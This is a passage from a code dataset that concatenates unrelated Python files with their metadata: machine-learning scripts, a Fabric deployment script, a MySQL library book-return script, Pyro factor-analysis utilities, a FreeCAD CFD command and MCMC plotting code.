nn\r\n\r\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0,1\"\r\n\r\n\r\ndef get_logloss(labels, preds):\r\n logloss = 0\r\n for label, prob in zip(labels, preds):\r\n logloss += label * log(prob) + log(1 - prob) * (1 - label)\r\n logloss = logloss / (-len(preds))\r\n return logloss\r\n\r\n\r\n_, test_dataloader = get_dataloader(16)\r\nfrom model.efficientnet.model import EfficientNet\r\n\r\nmodels = [EfficientNet.from_name('efficientnet-b4', override_params={'num_classes': 2}),\r\n EfficientNet.from_name('efficientnet-b4', override_params={'num_classes': 2}),\r\n EfficientNet.from_name('efficientnet-b4', override_params={'num_classes': 2}),\r\n EfficientNet.from_name('efficientnet-b4', override_params={'num_classes': 2}),\r\n EfficientNet.from_name('efficientnet-b4', override_params={'num_classes': 2})]\r\n\r\nmodels[0].load_state_dict(torch.load('/root/data/wzy/lxrlocker/scale2models_wzy/mtcnn45_resume_mtcnn45_wzy.pth'))\r\nmodels[1].load_state_dict(\r\n torch.load('/root/data/wzy/lxrlocker/scale2models_wzy/new_45partpai_tracking2_resize_wzy.pth'))\r\nmodels[2].load_state_dict(torch.load('/root/data/wzy/lxrlocker/scale2models_wzy/PAI_dropblock-large_wzy.pth'))\r\nmodels[3].load_state_dict(torch.load('/root/data/wzy/lxrlocker/scale2models_wzy/PAI_ori_retinaface_wzy.pth'))\r\nmodels[4].load_state_dict(torch.load('/root/data/wzy/checkpoint/efficientnetmeanlast/14.pth'))\r\n\r\nmodels[0] = nn.DataParallel(models[0]).cuda()\r\nmodels[1] = nn.DataParallel(models[1]).cuda()\r\nmodels[2] = nn.DataParallel(models[2]).cuda()\r\nmodels[3] = nn.DataParallel(models[3]).cuda()\r\nmodels[4] = nn.DataParallel(models[4]).cuda()\r\n\r\nprint(\">>Finish Loading Efficient Model\")\r\nwith torch.no_grad():\r\n online_result = {}\r\n true_labels = []\r\n for video_images, video_label in tqdm(test_dataloader):\r\n video_images, video_label = video_images.cuda(), video_label.cuda()\r\n for model_index, net in enumerate(models):\r\n y_pred = net(video_images)\r\n online_result.setdefault(model_index, [])\r\n online_result[model_index] += y_pred[:, 1].cpu().detach().numpy().tolist()\r\n\r\nimport json\r\n\r\njson.dump(online_result, open('pearson_online_result.json', 'w'))\r\n","sub_path":"statistic/statistics_model_performance/statistics_model_performance_with_statistics_pearson_logloss.py","file_name":"statistics_model_performance_with_statistics_pearson_logloss.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"345159464","text":"# 参考了https://github.com/maplezzz/NTU_ML2017_Hung-yi-Lee_HW/blob/master/HW1/gd.py\n# 参考了https://www.cnblogs.com/HL-space/p/10676637.html\n#\nimport csv\nimport numpy as np\n\n\n# adagrad算法更新学习率\ndef ada(X,Y,w,eta,iteration,lambdaL2):\n s_grad = np.zeros(len(X[0]))\n list_cost = []\n for i in range(iteration):\n hypo = np.dot(X,w)\n loss = hypo - Y\n cost = np.sum(loss**2)/len(X)\n list_cost.append(cost)\n\n grad = np.dot(X.T,loss)/len(X) + lambdaL2*w\n s_grad += grad**2\n ada = np.sqrt(s_grad)\n w = w - eta*grad/ada\n return w, list_cost\n\n\n\ndata = []\nfor i in range(18):\n data.append([])\n\nwith open('data\\\\hw1\\\\train.csv', encoding='utf-8') as f:\n text = csv.reader(f, delimiter=',')\n num_row = 0\n for row in text:\n if num_row!=0:\n for i in range(3,27):\n if row[i]!='NR':\n data[(num_row-1)%18].append(float(row[i]))\n else:\n data[(num_row-1)%18].append(0.0)\n num_row = num_row + 1\n f.close()\n\nx = [] # x[i]表示第i组数据,每组数据有18*9个 18个特征 根据前9次预测第10个\ny = []\n\n# 时间是连续的,每月的20天首尾连接分割数据帧和label\nfor month in range(12):\n for i in range(471): # 24*20-9=471 20天每天有24小时的数据,最后九个不能用,因为需要预测第十个\n x.append([])\n for feature in range(18):\n for n_feature in range(9):\n x[month*471+i].append(data[feature][month*480+i+n_feature])\n y.append(data[9][month*480+i+9])\n\ntrainX = np.array(x)\ntrainY = np.array(y)\n\ntest_x = []\nn_row = 0\nwith open('data\\\\hw1\\\\test_X.csv', encoding='utf-8') as f:\n text = csv.reader(f,delimiter=',');\n for row in text:\n if n_row%18==0:\n test_x.append([])\n for i in range(2,11):\n test_x[n_row//18].append(float(row[i]))\n else:\n for i in range(2,11):\n if row[i]!='NR':\n test_x[n_row//18].append(float(row[i]))\n else:\n test_x[n_row//18].append(float(0))\n n_row = n_row + 1\n f.close()\n test_x=np.array(test_x)\n\n\nans_y = []\nn_row = 0\nwith open('data\\\\hw1\\\\ans.csv', encoding='utf-8') as f:\n text = csv.reader(f,delimiter=',')\n for row in text:\n ans_y.append(row[1])\n ans_y = ans_y[1:]\n ans_y = np.array(list(map(int,ans_y)))\n f.close()\n\n\n# add bias\ntest_x = np.concatenate((np.ones((test_x.shape[0],1)),test_x),axis=1)\ntrainX = np.concatenate((np.ones((trainX.shape[0],1)),trainX),axis=1)\n\nw = np.zeros(len(trainX[0]))\nw_ada, cost_list_ada = ada(trainX, trainY, w, eta=1, iteration=20000, lambdaL2=0)\n\ny_ada = np.dot(test_x,w)\n\nans = []\nfor i in range(len(test_x)):\n ans.append(['id'+str(i)])\n a = np.dot(w_ada,test_x[i])\n ans[i].append(a)\n\nfilename = \"data/hw1/result/predict.csv\"\ntext = open(filename, \"w+\")\ns = csv.writer(text,delimiter=',',lineterminator='\\n')\ns.writerow([\"id\",\"value\"])\nfor i in range(len(ans)):\n s.writerow(ans[i])\ntext.close()\n","sub_path":"hw/hw1.py","file_name":"hw1.py","file_ext":"py","file_size_in_byte":3108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"357702343","text":"# -*- coding: UTF-8 -*-\n\n'''\nCreated on 2016年11月18日\n\n@author: superhy\n'''\nfrom interface import cacheIndex, fileProcess\nfrom interface.embedding import word2Vec\nimport time\n\n\ndef trainWord2VecModelTest():\n \n fileProcess.reLoadEncoding()\n \n # load all file folder path\n trainDir = fileProcess.auto_config_root() + u'med_question_nolabel/'\n# med_qus_categories = cacheIndex.med_question_index.values()\n# dirPath = []\n# dirPath.extend(trainDir + category + u'/' for category in med_qus_categories)\n \n# loadedFilesPath = fileProcess.listAllFilePathInDirectory(dirPath)\n# print('files num: {0}'.format(len(loadedFilesPath)))\n \n # load all sentences to be trained\n totalSentences = fileProcess.loadMedQuesSentences(trainDir)\n print('sentences num: {0}'.format(len(totalSentences)))\n \n start_w2v = time.clock()\n w2vModelPath = fileProcess.auto_config_root() + u'model_cache/gensim/med_qus-nolabel.vector'\n model = word2Vec.trainWord2VecModel(totalSentences, w2vModelPath)\n end_w2v = time.clock()\n print('train gensim word2vec model finish, use time: {0}'.format(end_w2v - start_w2v))\n \n print('test word vector: {0}'.format(model['腰疼/v'.decode('utf-8')]))\n \n print('vocab size: {0}'.format(len(model.vocab)))\n \ndef loadModelfromFileTest():\n \n w2vModelPath = fileProcess.auto_config_root() + 'model_cache/gensim/med_qus-nolabel.vector'\n model = word2Vec.loadModelfromFile(w2vModelPath)\n \n queryWord = '腰疼/v'\n vector = word2Vec.getWordVec(model, queryWord)\n \n print('vector: {0}, \\nvector_size: {1}'.format(vector, len(vector)))\n\nif __name__ == '__main__':\n \n '''\n test train word2vec model\n '''\n trainWord2VecModelTest()\n \n '''\n test load word2vec model from file\n then, get a word vector\n '''\n #===========================================================================\n # loadModelfromFileTest()\n #===========================================================================","sub_path":"interface/test/testWord2Vec.py","file_name":"testWord2Vec.py","file_ext":"py","file_size_in_byte":2028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"508961456","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon May 21 22:16:36 2018\n\n@author: Panangam\n\"\"\"\nimport re\nimport logging\n\n#logger = logging.getLogger(__name__)\n#logger.setLevel(logging.DEBUG)\n\n# taken from https://stackoverflow.com/questions/635483/what-is-the-best-way-to-implement-nested-dictionaries\nclass Vividict(dict):\n def __missing__(self, key):\n value = self[key] = type(self)() # retain local pointer to value\n return value # faster to return than dict lookup\n \ndef filterText(text, withPeriod=False):\n text.translate({'\\n': ' '})\n if withPeriod:\n filtered_text = (c.lower() for c in text if re.match('[a-z .]', c.lower()))\n else:\n filtered_text = (c.lower() for c in text if re.match('[a-z ]', c.lower()))\n\n return ''.join(filtered_text).split()\n ","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"215876181","text":"import PriceReader as pr\nimport SimpleFundamentalReader as sfr\nimport MonthRevenueReader as mrr\nimport DataBuilder as db\n\nimport imp\ndef test():\n imp.reload(pr)\n imp.reload(sfr)\n imp.reload(mrr)\n imp.reload(db)\n price = pr.PriceReader().read('../../data/price')\n fundamental = sfr.SimpleFundamentalReader().read('../../data/fundamental_simple')\n revenue = mrr.MonthRevenueReader().read('../../data/month_revenue')\n\n # union and clean the data\n builder = db.DataBuilder()\n builder.reg('price', price)\n builder.reg('fundamental', fundamental)\n builder.reg('revenue', revenue)\n\n return builder.build(), price, fundamental, revenue\n\n","sub_path":"packages/dataBuilder/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"444293901","text":"from __future__ import with_statement\nfrom fabric.api import *\n\nfrom contextlib import contextmanager as _ctxmgr\n@_ctxmgr\ndef virtualenv():\n with lcd(os.path.join(venv_dir, app_name)):\n with prefix('. bin/activate'):\n yield\n\nimport os\n\nscripts_dir = os.path.join(os.path.dirname(__file__), 'sh')\nsupervisor_dir = os.path.join(os.path.dirname(__file__), 'supervisor')\ntarget_dir = '/webapps'\nvenv_dir = '/webapps/venvs/'\napp_name = 'rack_webapp'\nrepo_url = \"https://github.com/AntennaInternational/rack-webapp.git\"\nrequirements_file = 'requirements.txt'\n\ndef pull_git(origin='master'):\n with lcd(target_dir):\n local('sudo rm -f -R {}'.format(app_name))\n local('mkdir -p {}'.format(app_name))\n local('git clone {0} {1}'.format(repo_url, os.path.join(target_dir, app_name)))\n '''\n with lcd(os.path.join(target_dir,app_name)):\n local('ls')\n local('git pull origin {}'.format(origin))\n '''\ndef create_venv():\n local('mkdir -p {}'.format(venv_dir))\n with lcd(venv_dir):\n cd(venv_dir)\n local('virtualenv {}'.format(app_name))\n with lcd(app_name):\n local('mkdir -p logs')\n\n\ndef install_pip_requirements():\n rfile = os.path.join(target_dir, app_name, requirements_file)\n with virtualenv():\n local('pip install -r {}'.format(rfile))\n\ndef install_supervisor_configs():\n supervisor_conf_dir = '/etc/supervisor/conf.d'\n with lcd(supervisor_dir):\n local('cp * {}'.format(supervisor_conf_dir))\n\ndef install_startup_scripts():\n venv = os.path.join(venv_dir, app_name, 'bin')\n script_files = os.listdir(scripts_dir)\n with lcd(scripts_dir):\n local('chmod +x *')\n local('cp * {}'.format(venv))\n with lcd(venv):\n for f in script_files:\n local('chmod +x ./{}'.format(f))\n\nif __name__ == '__main__':\n pull_git()\n create_venv()\n install_pip_requirements()\n install_supervisor_configs()\n install_startup_scripts()","sub_path":"webapp/fab.py","file_name":"fab.py","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"579141794","text":"import csv\nfrom datetime import datetime, timedelta\nimport matplotlib.pyplot as plt\n\ntoday = datetime.today().strftime('%m-%d-%Y')\nbeginning = datetime(2020, 1, 22)\nwith open('output/regression/regression_history.csv', 'r') as file:\n reader = csv.reader(file)\n reader.__next__()\n ydata = []\n xdata = []\n for row in reader:\n ydata.append(int(row[5]))\n xdata.append(int(row[1]))\nplt.scatter(xdata, ydata)\nplt.xlabel('Days passed since 22. January')\nplt.ylabel('Days from 22. January until the end of the pandemic')\n\n# weighted mean for the last 5 days\nydata_mean = ydata[-5:]\nw_sum = len(ydata_mean)*(len(ydata_mean)+1)/2\nw_mean = 0\nfor index in range(len(ydata_mean)):\n w_mean += ydata_mean[index]*(index+1)/w_sum\n\n\nend_date = (beginning + timedelta(days=int(w_mean))).strftime('%m-%d-%Y')\nprint(end_date)\nplt.title('History of estimations')\nplt.savefig('output/end_estimation/'+today+'.png', dpi=200)\nplt.show()\n","sub_path":"end_estimator.py","file_name":"end_estimator.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"553193500","text":"import mysql.connector\r\n\r\n\r\nmydb = mysql.connector.connect(host=\"localhost\", user=\"root\", password=\"root\", database=\"library\")\r\n\r\nmycursor = mydb.cursor(prepared=True)\r\na=input(\"Scan user rfid:\\n\")\r\nli = (f\"select no_of_books_issued from user where u_rfid='{a}'\")\r\nmycursor.execute(li)\r\nrecords = mycursor.fetchall()\r\n\r\nfor x in records:\r\n y=list(x)\r\n\r\nprint(\"Number of books issued :\",y[0])\r\n\r\nif y[0]==0:\r\n print(\"You aren't having any books to return\")\r\nelse:\r\n b=input(\"Enter isbn of book you want to return:\\n\")\r\n li = (f\"select * from issuedbook\")\r\n mycursor.execute(li)\r\n records = mycursor.fetchall()\r\n flag=0\r\n for x in records:\r\n if x[0]==b and x[1]==a:\r\n flag=1\r\n\r\n if flag==1:\r\n mycursor = mydb.cursor(prepared=True)\r\n sel_user=(f\"select no_of_books_issued from user where u_rfid='{a}'\")\r\n sel_book=(f\"select no_of_copies from book where isbn='{b}'\")\r\n\r\n mycursor.execute(sel_user)\r\n ibook=mycursor.fetchall()\r\n books=list(ibook[0])\r\n if books[0]>0:\r\n\r\n try:\r\n mycursor.execute(f\"delete from issuedbook where ub_rfid='{a}' and b_rfid='{b}'\")\r\n mydb.commit()\r\n print(\"deleted 1 row from issuedbook\")\r\n except:\r\n print(\"SQL exception : tuple not found\")\r\n\r\n mycursor.execute (f\"update user set no_of_books_issued={books[0]-1} where u_rfid='{a}'\")\r\n mydb.commit()\r\n print(\"removed 1 book from number of books issued from user table\")\r\n\r\n mycursor.execute(sel_book)\r\n ubook = mycursor.fetchall()\r\n copies = list(ubook[0])\r\n if copies[0]<5:\r\n mycursor.execute(f\"update book set no_of_copies={copies[0] + 1} where isbn='{b}'\")\r\n mydb.commit()\r\n print(\"added 1 book into number of copies in book table\")\r\n else:\r\n print(\"copies exceeeded max limit\")\r\n\r\n else:\r\n print(\"cant delete; limit reached zero\")\r\n # mycursor.execute (f\"update user set no_of_books_issued={y[0]-1} where userid={a}\")\r\n else:\r\n print(\"book isnt in your record\")\r\n\r\n\r\n","sub_path":"Return.py","file_name":"Return.py","file_ext":"py","file_size_in_byte":2203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"108341814","text":"#!/usr/bin/env python\n\"\"\"Utilities for topographic factor analysis\"\"\"\n\nimport flatdict\nimport inspect\nimport logging\nimport types\nimport warnings\n\ntry:\n if __name__ == '__main__':\n import matplotlib\n matplotlib.use('TkAgg')\nfinally:\n import matplotlib.pyplot as plt\nimport numpy as np\nimport seaborn as sns\n\nimport nibabel as nib\nfrom nilearn.input_data import NiftiMasker\nimport torch\nfrom torch.autograd import Variable\nimport torch.nn as nn\n\nimport pyro\n\nSOFTPLUS = nn.Softplus()\nPARAM_TRANSFORMS = {\n 'sigma': SOFTPLUS,\n}\n\ndef param_sample(rv, dist, params, transforms=PARAM_TRANSFORMS, **kwargs):\n params = {**params[rv].copy(), **kwargs}\n for k, v in params.items():\n if k in transforms:\n params[k] = transforms[k](v)\n\n return pyro.sample(rv, dist, **params)\n\ndef reconstruct(weights, centers, log_widths, locations, activations):\n factors = radial_basis(Variable(locations), centers, log_widths)\n reconstruction = weights @ factors\n\n logging.info(\n 'Reconstruction Error (Frobenius Norm): %.8e',\n np.linalg.norm(reconstruction.data - activations)\n )\n\n return reconstruction\n\ndef vardict(existing=None):\n vdict = flatdict.FlatDict(delimiter='__')\n if existing:\n for (k, v) in existing.items():\n vdict[k] = v\n return vdict\n\ndef vardict_keys(vdict):\n first_level = [k.rsplit('__', 1)[0] for k in vdict.keys()]\n return list(set(first_level))\n\nclass PyroPartial(nn.Module):\n def __init__(self, f, params_namespace='params'):\n super(PyroPartial, self).__init__()\n self._function = f\n self._params_namespace = params_namespace\n pyro.module(self._function.__name__, self)\n\n @classmethod\n def compose(cls, outer, inner, unpack=False, name=None):\n if unpack:\n result = lambda *args, **kwargs: outer(*inner(*args, **kwargs))\n else:\n result = lambda *args, **kwargs: outer(inner(*args, **kwargs))\n\n if name is not None:\n result.__name__ = name\n\n result = PyroPartial(result)\n for (i, element) in enumerate([inner, outer]):\n if isinstance(element, nn.Module):\n elt_name = element._function.__name__\\\n if isinstance(element, cls)\\\n else 'element%d' % i\n result.add_module(elt_name, element)\n return result\n\n def register_params(self, pdict, trainable=True):\n for (k, v) in vardict(pdict).iteritems():\n if self._params_namespace is not None:\n k = self._params_namespace + '__' + k\n if trainable:\n self.register_parameter(k, nn.Parameter(v))\n else:\n self.register_buffer(k, v)\n\n def params_vardict(self, keep_vars=False):\n result = self.state_dict(keep_vars=keep_vars)\n if self._params_namespace is not None:\n prefix = self._params_namespace + '__'\n result = {k[len(prefix):]: v for (k, v) in result.items()\n if k.startswith(prefix)}\n for k, v in result.items():\n if isinstance(v, nn.Parameter):\n pyro.param(k, v)\n elif not isinstance(v, Variable):\n result[k] = Variable(v)\n return vardict(result)\n\n def kwargs_dict(self):\n members = dict(self.__dict__, **self.state_dict(keep_vars=True))\n return {k: v for (k, v) in members.items()\n if k in inspect.signature(self._function).parameters.keys()}\n\n def forward(self, *args, **kwargs):\n params = {**self.kwargs_dict(), **kwargs}\n if self._params_namespace is not None:\n params[self._params_namespace] = self.params_vardict(keep_vars=True)\n return self._function(*args, **params)\n\ndef unsqueeze_and_expand(tensor, dim, size, clone=False):\n if clone:\n tensor = tensor.clone()\n\n shape = list(tensor.shape)\n shape.insert(dim, size)\n return tensor.unsqueeze(dim).expand(*shape)\n\ndef radial_basis(locations, centers, log_widths):\n \"\"\"The radial basis function used as the shape for the factors\"\"\"\n delta2s = (locations.unsqueeze(0) - centers.unsqueeze(1))**2\n return torch.exp(-delta2s.sum(2) / torch.exp(log_widths.unsqueeze(1)))\n\ndef plot_losses(losses):\n epochs = range(losses.shape[0])\n\n elbo_fig = plt.figure(figsize=(10, 10))\n\n plt.plot(epochs, losses, 'b-', label='Free energy')\n plt.legend()\n\n elbo_fig.tight_layout()\n plt.title('Free-energy change over training')\n elbo_fig.axes[0].set_xlabel('Epoch')\n elbo_fig.axes[0].set_ylabel('Nats')\n\n plt.show()\n\ndef full_fact(dimensions):\n \"\"\"\n Replicates MATLAB's fullfact function (behaves the same way)\n \"\"\"\n vals = np.asmatrix(range(1, dimensions[0] + 1)).T\n if len(dimensions) == 1:\n return vals\n else:\n after_vals = np.asmatrix(full_fact(dimensions[1:]))\n independents = np.asmatrix(np.zeros((np.prod(dimensions), len(dimensions))))\n row = 0\n for i in range(after_vals.shape[0]):\n independents[row:(row + len(vals)), 0] = vals\n independents[row:(row + len(vals)), 1:] = np.tile(\n after_vals[i, :], (len(vals), 1)\n )\n row += len(vals)\n return independents\n\ndef nii2cmu(nifti_file, mask_file=None):\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n image = nib.load(nifti_file)\n mask = NiftiMasker(mask_strategy='background')\n if mask_file is None:\n mask.fit(nifti_file)\n else:\n mask.fit(mask_file)\n\n header = image.header\n sform = image.get_sform()\n voxel_size = header.get_zooms()\n\n voxel_activations = np.float64(mask.transform(nifti_file)).transpose()\n\n vmask = np.nonzero(np.array(np.reshape(\n mask.mask_img_.dataobj,\n (1, np.prod(mask.mask_img_.shape)),\n order='C'\n )))[1]\n voxel_coordinates = full_fact(image.shape[0:3])[vmask, ::-1] - 1\n voxel_locations = np.array(np.dot(voxel_coordinates, sform[0:3, 0:3])) + sform[:3, 3]\n\n return {'data': voxel_activations, 'R': voxel_locations}\n\ndef cmu2nii(activations, locations, template):\n image = nib.load(template)\n sform = image.affine\n coords = np.array(\n np.dot(locations - sform[:3, 3],\n np.linalg.inv(sform[0:3, 0:3])),\n dtype='int'\n )\n data = np.zeros(image.shape[0:3] + (activations.shape[0],))\n\n for i in range(activations.shape[0]):\n for j in range(locations.shape[0]):\n x, y, z = coords[j, 0], coords[j, 1], coords[j, 2]\n data[x, y, z, i] = activations[i, j]\n\n return nib.Nifti1Image(data[:, :, :, 0], affine=sform)\n\ndef uncertainty_alphas(uncertainties):\n if len(uncertainties.shape) > 1:\n uncertainties = np.array([\n [u] for u in np.linalg.norm((uncertainties**-2).numpy(), axis=1)\n ])\n else:\n uncertainties = uncertainties.numpy()\n return uncertainties / (1.0 + uncertainties)\n\ndef compose_palette(length, base='dark', alphas=None):\n palette = np.array(sns.color_palette(base, length))\n if alphas is not None:\n return np.concatenate([palette, alphas], axis=1)\n return palette\n\ndef uncertainty_palette(uncertainties):\n alphas = uncertainty_alphas(uncertainties)\n return compose_palette(uncertainties.shape[0], base='cubehelix',\n alphas=alphas)\n","sub_path":"pyrotfa/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"654320668","text":"# Copyright 2021 Huawei Technologies Co., Ltd\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ============================================================================\n\"\"\"Convert Kaldi dataset\"\"\"\n\nimport argparse\nimport json\nimport pickle\nfrom copy import deepcopy\nfrom pathlib import Path\n\nimport kaldi_io\n\n\ndef convert_to_pickle(data_json_path, new_root_dir):\n \"\"\"Convert kaldi dataset files\"\"\"\n\n with Path(data_json_path).open('r', encoding=\"utf-8\") as file:\n dataset_dict = json.load(file)\n\n new_dataset_dict = dict()\n for sample_name, sample_info in dataset_dict['utts'].items():\n new_sample_info = deepcopy(sample_info)\n feature_path = sample_info['input'][0]['feat']\n feature = kaldi_io.read_mat(feature_path)\n\n new_feature_path = Path(new_root_dir) / (Path(feature_path).name.replace(':', '_') + '.pickle')\n with new_feature_path.open('wb') as file:\n pickle.dump(feature, file)\n new_sample_info['input'][0]['feat'] = new_feature_path.as_posix()\n new_dataset_dict[sample_name] = new_sample_info\n\n with (Path(new_root_dir) / 'data.json').open('w') as file:\n json.dump(new_dataset_dict, file, indent=2)\n\n\ndef main():\n \"\"\"Main function\"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument('--processed-dataset-path')\n args = parser.parse_args()\n for dataset_split in ['train', 'dev', 'test']:\n json_path = Path(args.processed_dataset_path) / 'dump' / dataset_split / 'deltafalse/data.json'\n new_root_dir = Path(args.processed_dataset_path) / 'pickled_dataset' / dataset_split\n new_root_dir.mkdir(exist_ok=True, parents=True)\n convert_to_pickle(json_path, new_root_dir)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"research/audio/speech_transformer/prepare_aishell_data/convert_kaldi_bins_to_pickle.py","file_name":"convert_kaldi_bins_to_pickle.py","file_ext":"py","file_size_in_byte":2251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"230250383","text":"# ***************************************************************************\n# * *\n# * Copyright (c) 2013-2015 - Juergen Riegel *\n# * Copyright (c) 2018 - Johan Heyns *\n# * Copyright (c) 2018 - Alfred Bogaers *\n# * Copyright (c) 2018 - Oliver Oxtoby *\n# * *\n# * This program is free software; you can redistribute it and/or modify *\n# * it under the terms of the GNU Lesser General Public License (LGPL) *\n# * as published by the Free Software Foundation; either version 2 of *\n# * the License, or (at your option) any later version. *\n# * for detail see the LICENCE text file. *\n# * *\n# * This program is distributed in the hope that it will be useful, *\n# * but WITHOUT ANY WARRANTY; without even the implied warranty of *\n# * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *\n# * GNU Library General Public License for more details. *\n# * *\n# * You should have received a copy of the GNU Library General Public *\n# * License along with this program; if not, write to the Free Software *\n# * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 *\n# * USA *\n# * *\n# ***************************************************************************\n\nimport FreeCAD\nimport platform\ntry:\n from femcommands.manager import CommandManager\nexcept ImportError: # Backward compatibility\n from PyGui.FemCommands import FemCommands as CommandManager\nimport CfdTools\nimport os\n\nif FreeCAD.GuiUp:\n import FreeCADGui\n from PySide import QtCore\n import FemGui\n\n\nclass setCFDConvert3Dto2D(CommandManager):\n def __init__(self):\n icon_path = os.path.join(CfdTools.get_module_path(), \"Gui\", \"Resources\", \"icons\", \"3d-to-2d.png\")\n self.resources = {\n 'Pixmap': icon_path,\n 'MenuText': 'Convert 3D mesh into a 2D OpenFOAM mesh',\n 'ToolTip': 'Convert 3D mesh into a 2D OpenFOAM mesh'\n }\n self.is_active = 'with_femmesh' \n\n def Activated(self):\n FreeCAD.Console.PrintMessage(\"Convert 3D mesh into a 2D mesh \\n\")\n FreeCADGui.addModule(\"FemGui\")\n FreeCADGui.addModule(\"CfdConverterTo2D\")\n analysis_obj = FemGui.getActiveAnalysis()\n obj,isPresent = CfdTools.get2DConversionObject(analysis_obj)\n\n if not(isPresent):\n sel = FreeCADGui.Selection.getSelection()\n if len(sel) == 1:\n sobj = sel[0]\n if len(sel) == 1 \\\n and hasattr(sobj, \"Proxy\") \\\n and (sobj.Proxy.Type == \"Fem::FemMeshGmsh\" or sobj.Proxy.Type == \"CfdMeshCart\"):\n FreeCADGui.doCommand(\"FemGui.getActiveAnalysis().addObject(CfdConverterTo2D.makeCfdConvertTo2D())\")\n FreeCADGui.ActiveDocument.setEdit(FreeCAD.ActiveDocument.ActiveObject.Name)\n else:\n FreeCADGui.ActiveDocument.setEdit(obj.Name)\n\n FreeCADGui.Selection.clearSelection()\nif FreeCAD.GuiUp:\n FreeCADGui.addCommand('Cfd_3DTo2D', setCFDConvert3Dto2D())\n","sub_path":"_CommandCfdConvertTo2D.py","file_name":"_CommandCfdConvertTo2D.py","file_ext":"py","file_size_in_byte":3664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"268509507","text":"#!/usr/bin/python3\n\n\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\nimport numpy as np\n\n\ndef plot_data(data):\n # Fig 1: plot the gravity measurements\n fig = plt.figure(figsize=(8, 7))\n plt.plot(data[:, 0], data[:, 1], marker='o', color='blue', markersize=4)\n plt.ylabel(\"Gravity anomaly (GU)\")\n plt.xlabel('Distance (m) ')\n plt.title(\"Gravity anomaly (synthetic dataset) \")\n plt.show()\n return\n\n\ndef plot_mcmc(accepted, rejected):\n # Param = (r, Z)\n x = 0\n y = 1\n x_label = 'R'\n y_label = 'Z'\n print('Accepted: ' + str(len(accepted)) + ' Rejected: ' + str(len(rejected)))\n print(' Acceptance: ' + str((float(len(accepted)) / (len(accepted) + len(rejected))) * 100.0) + '%')\n\n # Fig 2: Plot MCMC random walk\n fig = plt.figure(figsize=(10, 10))\n\n ax = fig.add_subplot(2, 1, 1)\n ax.plot(accepted[:, x], accepted[:, y], label=\"Path\")\n ax.plot(accepted[:, x], accepted[:, y], 'b.', label='Accepted', alpha=0.3)\n ax.plot(rejected[:, x], rejected[:, y], 'rx', label='Rejected', alpha=0.3)\n ax.set_xlabel(x_label)\n ax.set_ylabel(y_label)\n ax.legend()\n ax.set_title(\"MCMC sampling for R and Z with Metropolis-Hastings. All samples are shown.\")\n\n to_show = 50\n ax = fig.add_subplot(2, 1, 2)\n ax.plot(accepted[-to_show:, x], accepted[-to_show:, y], label=\"Path\")\n ax.plot(accepted[-to_show:, x], accepted[-to_show:, y], 'b.', label='Accepted', alpha=0.5)\n ax.plot(rejected[-to_show:, x], rejected[-to_show:, y], 'rx', label='Rejected', alpha=0.5)\n ax.set_xlabel(x_label)\n ax.set_ylabel(y_label)\n ax.legend()\n ax.set_title(\"MCMC sampling for R and Z with Metropolis-Hastings. Last 50 samples are shown.\")\n fig.tight_layout()\n plt.show()\n\n # Figure 3: plot accepted samples\n plt.figure(figsize=(10, 10))\n z = np.arange(len(accepted))\n plt.scatter(x=accepted[:, 0], y=accepted[:, 1], c=z, s=5, alpha=0.7, label='Accepted', cmap='gnuplot2')\n plt.xlabel('R')\n plt.ylabel('Z')\n plt.title(\"MCMC sampling for R and Z with Metropolis-Hastings. Accepted samples.\")\n plt.colorbar()\n plt.show()\n\n # Figure 4: plot joint R and Z distribution\n fig = plt.figure(figsize=(10, 7))\n show = int(-0.5 * accepted.shape[0])\n hist_show = int(-0.50 * accepted.shape[0])\n ax = fig.add_subplot(1, 1, 1)\n xbins, ybins = np.linspace(45, 60, 40), np.linspace(80, 145, 40)\n counts, xedges, yedges, im = ax.hist2d(accepted[hist_show:, 0], accepted[hist_show:, 1], normed=True,\n bins=[xbins, ybins])\n ax.set_xlabel(\"R\")\n ax.set_ylabel(\"Z\")\n fig.colorbar(im, ax=ax)\n ax.set_title(\"2D histogram showing the joint distribution of R and Z\")\n plt.show()\n\n # Figure 5: visualise the trace\n fig = plt.figure(figsize=(20, 10))\n ax = fig.add_subplot(2, 2, 1)\n\n ax.plot(rejected[0:50, 1], 'rx', label='Rejected', 